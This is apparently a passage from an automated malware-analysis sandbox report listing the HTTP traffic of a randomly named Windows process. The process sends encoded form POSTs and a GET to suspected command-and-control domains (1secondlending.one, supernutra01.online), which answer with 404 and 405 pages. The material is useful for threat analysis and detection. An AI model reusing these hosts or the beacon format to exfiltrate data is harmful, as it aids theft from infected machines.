70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	64517	43.205.198.29	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:11.602024078 CET	1758	OUT	POST /6pwo/ HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 1232 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.1secondlending.one Referer: http://www.1secondlending.one/6pwo/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 63 6f 62 41 75 71 61 37 73 48 51 51 4e 7a 79 69 46 51 76 62 69 2b 39 2f 4b 37 72 47 51 56 4d 6d 73 70 42 79 54 65 73 53 7a 50 6f 6d 6f 4d 4b 55 72 52 73 41 4d 76 75 39 6d 71 4a 44 49 49 76 37 45 4a 4d 4f 6a 6a 76 54 79 59 51 76 61 63 51 75 6c 45 67 38 63 63 36 70 77 77 41 71 37 72 65 52 76 69 67 4e 62 45 63 64 63 69 77 59 65 61 4c 73 6c 50 46 51 65 4b 72 6d 7a 70 49 61 76 4e 6b 47 45 51 6c 52 4d 39 48 79 6e 48 76 54 6f 57 77 4e 6b 67 72 64 4a 71 55 4a 76 73 5a 74 70 79 41 33 59 54 58 57 5a 4a 4c 53 66 37 61 2b 73 73 31 4f 4e 5a 68 56 67 6c 41 73 57 30 56 74 76 77 63 58 70 76 47 54 7a 48 37 44 64 4b 45 37 6d 4e 33 61 44 57 32 6d 75 2f 54 6a 2b 71 66 36 4c 45 63 4b 2b 76 52 39 79 7a 57 75 34 35 45 4a 43 46 59 79 71 45 30 2b 44 52 6d 44 77 54 75 79 47 6f 4d 42 41 6c 73 41 56 35 45 51 71 57 54 74 68 52 71 56 65 6d 35 32 33 4d 6a 72 31 47 38 4f 78 58 4a 62 [TRUNCATED] Data Ascii: rdmhfXe=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAicobAuqa7sHQQNzyiFQvbi+9/K7rGQVMmspByTesSzPomoMKUrRsAMvu9mqJDIIv7EJMOjjvTyYQvacQulEg8cc6pwwAq7reRvigNbEcdciwYeaLslPFQeKrmzpIavNkGEQlRM9HynHvToWwNkgrdJqUJvsZtpyA3YTXWZJLSf7a+ss1ONZhVglAsW0VtvwcXpvGTzH7DdKE7mN3aDW2mu/Tj+qf6LEcK+vR9yzWu45EJCFYyqE0+DRmDwTuyGoMBAlsAV5EQqWTthRqVem523Mjr1G8OxXJbM3cBPurlnLf6+Y5NMZdvyp3kF7qwAoqWFpPCa3wxqhkutS9jqCnSsJOxMTAlk1gCgTsXM6icbxZRWCdLH9RNvwvO/G4ZI8OvI8mD2frBDbc7F8ellOlTk2H2QlNcYJ9Nk/rF5FeIDnr9F0XSPoVSC1mDc93wBYnoBBgPcJGGcfqJyVw0rg0IokHFmgeoj7z6VHsg7dl1nyM3ZnNHwEf86VEx2Q9xO868xNNu6KJ4EIrCKwHbWygqjzvmEmCmw9+b1vIfEvII3JCg+V3DeyL/X6KSdAvg09D6Xlnkm1F/XgEv/Ig/nFJoG63U45Y2wZ0Ke91Gb7viz9GpwzRCO9Yzzx/4oynOARJap7KHGrzCVpODLGKQgM/jcsnMyiOqsU2p2hBRuNX4YYiseuJuldUzOnshWVe1W6vSfiIuncns8bk3RxaOX2R8YtgK1SwNipegjJUy19SpK7DfU9p2VXUAznZ2pGbp6iHxdr+9+4wnQbA9wvlRRQl4dqjiYKc0wMt/VY+az2G4fJt3ImBr+L6Xu9tYuoShTiy+fRfPdgaSYb3R5pHRF+86X5zvFNuyPg/inxNVzzKlV0rMpMp25S/WaRF1h1dy1YCfaXR4Ocj9fDxhkgOSzD6IoB+QPaS51HWnDQ8tbpAgNnLLPWyks9MS9CewAHSGaaEyTy [TRUNCATED]
Jan 10, 2025 20:11:12.451793909 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 19:11:12 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	64518	43.205.198.29	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:14.143189907 CET	445	OUT	GET /6pwo/?rdmhfXe=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abiRcuJlWrvFsYiciiVw8Ks4AYAtrm9w==&AF=At8pGDY0Z HTTP/1.1 Host: www.1secondlending.one Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Jan 10, 2025 20:11:14.981031895 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 19:11:14 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	64519	188.114.97.3	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:20.030328989 CET	724	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 196 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 31 4c 32 50 35 58 56 74 76 35 41 79 46 35 50 6e 72 62 43 54 6c 58 44 4c 36 6e 5a 47 4d 74 74 6f 45 73 39 75 79 4f 47 74 48 4f 59 70 6c 34 44 41 6a 7a 36 53 53 49 2f 69 58 42 75 30 71 41 71 2b 70 47 5a 57 2b 57 34 70 39 6e 63 50 42 62 62 64 37 35 51 49 51 6d 52 52 34 68 69 41 2f 6c 6c 7a 49 69 47 4b 2b 6c 4a 5a 4b 69 67 30 48 4f 49 76 46 36 34 6b 2f 4e 6e 36 69 4c 6d 73 5a 6c 44 35 47 4f 31 7a 33 48 37 69 66 74 53 31 44 71 33 4c 6e 57 74 36 45 53 75 55 6d 42 50 62 68 4f 6e 44 71 2b 5a 2b 48 48 6c 4d 63 65 66 57 78 59 64 57 41 2f 74 63 51 35 6c 32 6e 52 53 31 Data Ascii: rdmhfXe=1L2P5XVtv5AyF5PnrbCTlXDL6nZGMttoEs9uyOGtHOYpl4DAjz6SSI/iXBu0qAq+pGZW+W4p9ncPBbbd75QIQmRR4hiA/llzIiGK+lJZKig0HOIvF64k/Nn6iLmsZlD5GO1z3H7iftS1Dq3LnWt6ESuUmBPbhOnDq+Z+HHlMcefWxYdWA/tcQ5l2nRS1
Jan 10, 2025 20:11:20.709923029 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Fri, 10 Jan 2025 19:11:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qzmw2iSHWoQna6S3A8h64mxO00eU51PIDVhyqFgCcHZtfNmv9tEdmzJ52BDZ3EteV5NkKgSgOUIyEQukkuILY%2Bqh0cvN4B%2FwGuxEfiYsJHdlzVFK2RjKFms8u8RdV%2F8PrUyh1zAgssbeCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffef8e8af8043a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1612&rtt_var=806&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=724&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disa
Jan 10, 2025 20:11:20.709943056 CET	119	IN	Data Raw: 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: ble MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	64520	188.114.97.3	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:22.572251081 CET	748	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 41 70 6c 64 2f 41 69 79 36 53 52 49 2f 69 66 68 75 74 30 77 71 44 70 47 64 65 2b 53 34 70 39 6a 30 50 42 66 58 64 37 4b 34 58 42 6d 52 66 78 42 69 56 69 56 6c 7a 49 69 47 4b 2b 6a 6c 2f 4b 69 6f 30 47 2b 34 76 58 76 59 6c 6a 64 6e 35 31 37 6d 73 64 6c 44 39 47 4f 31 56 33 46 65 48 66 75 71 31 44 76 4c 4c 70 6a 42 35 4c 53 75 53 37 78 4f 2f 78 63 6e 4c 68 4f 31 7a 49 42 78 72 45 2b 54 58 32 35 68 49 52 4e 6b 48 46 75 6c 52 67 32 62 64 37 45 76 4c 71 6e 61 6d 39 32 6f 38 6f 56 58 30 51 6a 58 4f 66 77 3d 3d Data Ascii: rdmhfXe=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4Apld/Aiy6SRI/ifhut0wqDpGde+S4p9j0PBfXd7K4XBmRfxBiViVlzIiGK+jl/Kio0G+4vXvYljdn517msdlD9GO1V3FeHfuq1DvLLpjB5LSuS7xO/xcnLhO1zIBxrE+TX25hIRNkHFulRg2bd7EvLqnam92o8oVX0QjXOfw==
Jan 10, 2025 20:11:23.244344950 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Fri, 10 Jan 2025 19:11:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VuRmiHNNC%2BpjIkgYRoq6qz5RhQRZWIEkSG1UOPuzCyvrkEy6HPzPc62y0%2FoFgWdlZAERkhx%2BHu585m1AeEVEhdBu3trjZ2ATHIZstUcneOxv%2BTBs3YdwjidWfqeA3XB1dp6GVjTlO0uD5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffef8f87ce64301-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1839&min_rtt=1839&rtt_var=919&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=748&delivery_rate=0&cwnd=55&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to dis
Jan 10, 2025 20:11:23.244364977 CET	120	IN	Data Raw: 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 Data Ascii: able MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	64521	188.114.97.3	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:25.120523930 CET	1761	OUT	POST /rk61/ HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 1232 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.supernutra01.online Referer: http://www.supernutra01.online/rk61/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 49 70 6c 76 6e 41 6a 52 69 53 51 49 2f 69 56 42 75 77 30 77 71 53 70 47 6c 61 2b 53 39 53 39 6c 77 50 43 36 4c 64 39 37 34 58 49 6d 52 66 38 68 6a 79 2f 6c 6c 6d 49 69 57 4f 2b 6a 56 2f 4b 69 6f 30 47 39 67 76 48 4b 34 6c 68 64 6e 36 69 4c 6d 6f 5a 6c 44 5a 47 4f 74 72 33 46 62 79 44 4f 4b 31 44 50 37 4c 6c 78 35 35 47 53 75 51 72 68 4f 6e 78 63 71 56 68 4f 70 2f 49 42 74 52 45 38 44 58 31 50 46 55 4e 65 63 65 59 6f 68 56 72 42 72 56 7a 69 4c 31 71 32 37 41 68 44 4e 61 35 33 75 4c 64 53 6d 56 63 72 6e 6b 5a 48 30 75 49 53 35 56 52 52 54 4f 2b 54 57 77 31 4c 51 64 69 78 2b 6c 4b 62 55 2b 30 2b 4d 46 78 74 46 32 79 55 6e 4f 35 68 2b 44 4a 76 35 68 66 34 62 63 78 6c 5a 35 4f 54 72 55 4f 2f 71 79 30 4e 6b 77 31 6f 69 66 62 32 63 58 55 64 49 75 74 4c 6c 32 58 41 6c 52 76 64 61 32 65 2f 4a 66 63 62 6c 46 39 59 48 6c 7a 78 2b 56 69 6a 79 4a 66 41 78 5a 38 58 [TRUNCATED] Data Ascii: rdmhfXe=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4IplvnAjRiSQI/iVBuw0wqSpGla+S9S9lwPC6Ld974XImRf8hjy/llmIiWO+jV/Kio0G9gvHK4lhdn6iLmoZlDZGOtr3FbyDOK1DP7Llx55GSuQrhOnxcqVhOp/IBtRE8DX1PFUNeceYohVrBrVziL1q27AhDNa53uLdSmVcrnkZH0uIS5VRRTO+TWw1LQdix+lKbU+0+MFxtF2yUnO5h+DJv5hf4bcxlZ5OTrUO/qy0Nkw1oifb2cXUdIutLl2XAlRvda2e/JfcblF9YHlzx+VijyJfAxZ8XxmxQPzZOZ4oulIsOOd7j3MMXh7K+1VyZxabsX248gTkW70v1FmtddmHRYff10kU2+f+gcD/vcDRoor/CGEJ2jPiGejvdHz3gyjhx0jC79xhVf+TnCGR38N6nTqsRcVT905r/T7JHFWY8lY1KSJPU4MW7WH35GTiB64fWXODpTETKdADoeZHwZ2WujWI/ZKFXmTPLvzHcSr9k0ONQgxqP5zGYOCNF7P7hxrE+BATUPdtPO1rSaYM8nZxtgMYuY7A9QERc9KuD7eP+yZJxYUAM6drzB2/ng/FdNdGgV9hmpf8whje1OcDhMAWb6uwO6VvWF9Fy//VZ376YVjk/hFgXMf1Ic2oqdgjTJ4/jTYE2O3SczpIWdNCxAEMZ87AysHYC4BGbR/z5aHTrx6C0feP/sPNdL0v7BNtaAft6s9clYh6fg4clisp8Wo9mTJARIRxxoq5lLMEdCu4dAcwVf4A7GJD+lcSJDKHcY/N16yhAE2v02HNRKInWWcwRSyixuX1+rffSIbpyfGhRCuAh3frPBZDXsofb2zYf/PBcEqVKhR0Z64gQ5Azb1609hFeqiA97lrUKtd7vu6ErlLHafMCV2rf7o5u7zqSmDhSf4I5GKICIJf9kzVvTrSsV5vSP3nWr8YTCZXfXS2jCojdoxLW6uqGyvc7CcNbVOA [TRUNCATED]
Jan 10, 2025 20:11:25.845640898 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Fri, 10 Jan 2025 19:11:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U63tW9rf5%2BzeGccDaaT%2BUBmBq%2B5zYj62qAvC%2B%2FG0dpjZRFACWOR59PjSM2T86a4wewdoES%2FKYM3t1%2BZWz8W3YBvgmZ9FrEeQu9N5B%2F9j0Ut%2BTl2Fun%2FQpLVsu1I6OfyVStl2rh3u5BxGRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffef908aff7de99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18636&min_rtt=18636&rtt_var=9318&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1761&delivery_rate=0&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->...
